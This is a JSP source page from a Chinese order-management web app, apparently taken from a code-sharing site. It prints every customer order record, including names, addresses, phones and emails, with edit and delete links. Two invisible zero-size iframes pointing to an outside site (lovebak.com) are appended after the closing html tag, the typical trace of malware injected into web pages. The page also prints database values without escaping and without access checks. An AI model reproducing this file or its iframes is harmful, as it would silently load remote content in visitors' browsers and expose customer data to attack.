📄 all_order.jsp
字号:
<%@ page contentType="text/html; charset=gb2312" language="java" import="java.sql.*" errorPage="" %>
<%@ include file="../jdbc_conn.jsp"%>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>无标题文档</title>
</head>
<body>
<table bordercolor=#999999 cellspacing=0 cellpadding=0 border=1 align="center">
<%
String sql="select * from Orderrecord";
rs=s.executeQuery(sql);
out.print("<tr><td>订单号</td><td>用户编号</td><td>订单时间</td><td>服务号</td><td>服务时间</td><td>订单状态</td><td>用户姓名</td><td>联系地址</td><td>邮政编码</td><td>联系电话</td><td>电子邮箱</td><td>服务费用</td><td>备注</td></tr>");
while(rs.next())
{
String OrderID=rs.getString(1);
String Usercode=rs.getString(2);
String Orderdate=rs.getString(3);
String ServiceID=rs.getString(4);
String Servicedate=rs.getString(5);
String Orderstate=rs.getString(6);
String Realname=rs.getString(7);
String Realaddress=rs.getString(8);
String Realpostcode=rs.getString(9);
String Realtel=rs.getString(10);
String Realemail=rs.getString(11);
float Paid=rs.getFloat(12);
String Other=rs.getString(13);
out.print("<td align=center>"+OrderID+"</td>");
out.print("<td align=center>"+Usercode+"</td>");
out.print("<td align=center>"+Orderdate+"</td>");
out.print("<td align=center>"+ServiceID+"</td>");
out.print("<td align=center>"+Servicedate+"</td>");
out.print("<td align=center>"+Orderstate+"</td>");
out.print("<td align=center>"+Realname+"</td>");
out.print("<td align=center>"+Realaddress+"</td>");
out.print("<td align=center>"+Realpostcode+"</td>");
out.print("<td align=center>"+Realtel+"</td>");
out.print("<td align=center>"+Realemail+"</td>");
out.print("<td align=center>"+Paid+"</td>");
out.print("<td align=center>"+Other+"</td>");
out.print("<td><A href=oneorder.jsp?OrderID="+OrderID+">修改订单</A></td><td><a href=deleteorder.jsp?OrderID="+OrderID+">删除订单</a></td>");
out.print("</tr>");
}
%>
</table>
</body>
</html><iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
<iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -